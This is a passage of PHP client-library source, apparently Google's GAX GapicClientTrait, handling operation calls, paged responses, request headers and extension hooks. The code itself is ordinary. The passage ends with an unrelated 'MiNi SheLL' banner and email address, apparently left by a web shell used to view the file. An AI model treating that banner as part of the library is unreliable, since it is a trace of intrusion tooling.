        // to build the "additionalOperationArguments" option for the operation response.
        if (isset($descriptor['additionalArgumentMethods'])) {
            $additionalArgs = [];
            foreach ($descriptor['additionalArgumentMethods'] as $additionalArgsMethodName) {
                $additionalArgs[] = $request->$additionalArgsMethodName();
            }
            $descriptor['additionalOperationArguments'] = $additionalArgs;
            unset($descriptor['additionalArgumentMethods']);
        }

        if (isset($descriptor['metadataReturnType'])) {
            $metadataReturnType = $descriptor['metadataReturnType'];
        }

        $callStack = new OperationsMiddleware($callStack, $client, $descriptor);

        $call = new Call(
            $this->buildMethod($interfaceName, $methodName),
            $operationClass ?: Operation::class,
            $request,
            [],
            Call::UNARY_CALL
        );

        $this->modifyUnaryCallable($callStack);
        return $callStack($call, $optionalArgs + array_filter([
            'metadataReturnType' => $metadataReturnType,
            'audience' => self::getDefaultAudience()
        ]));
    }

    /**
     * @param string $methodName
     * @param array $optionalArgs
     * @param string $decodeType
     * @param Message $request
     * @param string $interfaceName
     *
     * @return PagedListResponse
     */
    private function getPagedListResponse(
        string $methodName,
        array $optionalArgs,
        string $decodeType,
        Message $request,
        string $interfaceName = null
    ) {
        return $this->getPagedListResponseAsync(
            $methodName,
            $optionalArgs,
            $decodeType,
            $request,
            $interfaceName
        )->wait();
    }

    /**
     * @param string $methodName
     * @param array $optionalArgs
     * @param string $decodeType
     * @param Message $request
     * @param string $interfaceName
     *
     * @return PromiseInterface
     */
    private function getPagedListResponseAsync(
        string $methodName,
        array $optionalArgs,
        string $decodeType,
        Message $request,
        string $interfaceName = null
    ) {
        $callStack = $this->createCallStack(
            $this->configureCallConstructionOptions($methodName, $optionalArgs)
        );
        $descriptor = new PageStreamingDescriptor(
            $this->descriptors[$methodName]['pageStreaming']
        );
        $callStack = new PagedMiddleware($callStack, $descriptor);

        $call = new Call(
            $this->buildMethod($interfaceName, $methodName),
            $decodeType,
            $request,
            [],
            Call::UNARY_CALL
        );

        $this->modifyUnaryCallable($callStack);
        return $callStack($call, $optionalArgs + array_filter([
            'audience' => self::getDefaultAudience()
        ]));
    }

    /**
     * @param string $interfaceName
     * @param string $methodName
     *
     * @return string
     */
    private function buildMethod(string $interfaceName = null, string $methodName = null)
    {
        return sprintf(
            '%s/%s',
            $interfaceName ?: $this->serviceName,
            $methodName
        );
    }

    /**
     * @param array $headerParams
     * @param Message|null $request
     *
     * @return array
     */
    private function buildRequestParamsHeader(array $headerParams, Message $request = null)
    {
        $headers = [];

        // No request message means no request-based headers.
        if (!$request) {
            return $headers;
        }

        foreach ($headerParams as $headerParam) {
            $msg = $request;
            $value = null;
            foreach ($headerParam['fieldAccessors'] as $accessor) {
                $value = $msg->$accessor();

                // In case the field in question is nested in another message,
                // skip the header param when the nested message field is unset.
                $msg = $value;
                if (is_null($msg)) {
                    break;
                }
            }

            $keyName = $headerParam['keyName'];

            // If there are value pattern matchers configured and the target
            // field was set, evaluate the matchers in the order that they were
            // annotated in with last one matching wins.
            $original = $value;
            $matchers = isset($headerParam['matchers']) && !is_null($value) ?
                $headerParam['matchers'] :
                [];
            foreach ($matchers as $matcher) {
                $matches = [];
                if (preg_match($matcher, $original, $matches)) {
                    $value = $matches[$keyName];
                }
            }

            // If there are no matches or the target field was unset, skip this
            // header param.
            if (!$value) {
                continue;
            }

            $headers[$keyName] = $value;
        }

        $requestParams = new RequestParamsHeaderDescriptor($headers);

        return $requestParams->getHeader();
    }

    /**
     * The SERVICE_ADDRESS constant is set by GAPIC clients
     */
    private static function getDefaultAudience()
    {
        if (!defined('self::SERVICE_ADDRESS')) {
            return null;
        }
        return 'https://' . self::SERVICE_ADDRESS . '/'; // @phpstan-ignore-line
    }

    /**
     * This defaults to all three transports, which One-Platform supports.
     * Discovery clients should define this function and only return ['rest'].
     */
    private static function supportedTransports()
    {
        return ['grpc', 'grpc-fallback', 'rest'];
    }

    // Gapic Client Extension Points
    // The methods below provide extension points that can be used to customize client
    // functionality. These extension points are currently considered
    // private and may change at any time.

    /**
     * Modify options passed to the client before calling setClientOptions.
     *
     * @param array $options
     * @access private
     */
    protected function modifyClientOptions(array &$options)
    {
        // Do nothing - this method exists to allow option modification by partial veneers.
    }

    /**
     * Modify the unary callable.
     *
     * @param callable $callable
     * @access private
     */
    protected function modifyUnaryCallable(callable &$callable)
    {
        // Do nothing - this method exists to allow callable modification by partial veneers.
    }

    /**
     * Modify the streaming callable.
     *
     * @param callable $callable
     * @access private
     */
    protected function modifyStreamingCallable(callable &$callable)
    {
        // Do nothing - this method exists to allow callable modification by partial veneers.
    }

    /**
     * @internal
     */
    private function isNewClientSurface(): bool
    {
        return $this->isNewClient ?? $this->isNewClient = substr(__CLASS__, -10) === 'BaseClient';
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com